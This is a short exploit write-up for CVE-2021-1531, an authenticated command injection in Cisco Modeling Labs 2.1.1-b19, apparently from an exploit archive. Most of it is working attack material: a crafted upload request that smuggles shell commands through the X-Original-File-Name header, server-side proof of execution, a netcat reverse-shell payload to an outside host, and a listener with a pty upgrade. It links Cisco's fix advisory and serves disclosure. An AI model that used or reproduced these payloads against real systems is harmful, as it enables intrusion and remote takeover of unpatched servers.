

Cisco Modeling Labs 2.1.1-b19 Remote Command Execution

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Cisco Modeling Labs version 2.1.1-b19 remote command execution exploit.

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Cisco Modeling Labs 2.1.1-b19 Post-Auth RCE Vulnerability

CVE-2021-1531

Details

Authenticated command injection in the web portal via the X-Original-File-Name header.

Tested with portal 'admin' user who does not have a system login or SSH access, but likely works for any user who can upload files in the portal.

Repro

Request

```
POST /api/v0/images/upload HTTP/1.1
Host: 10.10.10.118
X-Original-File-Name: test.rpm?id=/tmp/123'
Authorization: Bearer [jwt token]
Content-Length: 0
```

Response

HTTP/1.1 200 OK
Server: nginx/1.14.1
...

"Success"

Local monitoring

```
pid=5547 executed [/bin/sh -c /usr/local/bin/imagetool -stderrthreshold=INFO -multipart move
'/var/local/vir12/nginx-temp-folder/0063443599' '/var/local/vir12/dropfolder/test.rpm';id>/tmp/123''; exit 0 ]

.....

pid=5555 executed [id ]

$ cat /tmp/123
uid=982(vir12) gid=980(vir12) groups=980(vir12),982(wireshark),986(libvirt)
context=system_u:system_r:unconfined_service_t:s0

-----  
Exploitation  
-----
```

The netcat binary with -e support is installed on the system, which makes gaining a remote shell as the vir12 user easy for demo.

Payload

```
X-Original-File-Name: test.rpm?nc 10.1.1.101 5000 -e /bin/bash'
-----  
Listener
-----
```

```
$ nc -l -p 5000
.....
*connection received from cml2*

/usr/libexec/platform-python -c 'import pty; pty.spawn("/bin/bash")'
```

*** VIRL2 network simulator monitor ***

```
CLI> uname -a
Linux cml2-controller.cml1ab 4.18.0-80.11.2.el8_0.x86_64 #1 SMP Tue Sep 24 11:32:19 UTC 2019 x86_64 x86_64
x86_64 GNU/Linux

CLI> pwd
/var/local/vir12

---
Fix
---
```

<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cml-cmd-inject-N4VYeQXB>

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				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

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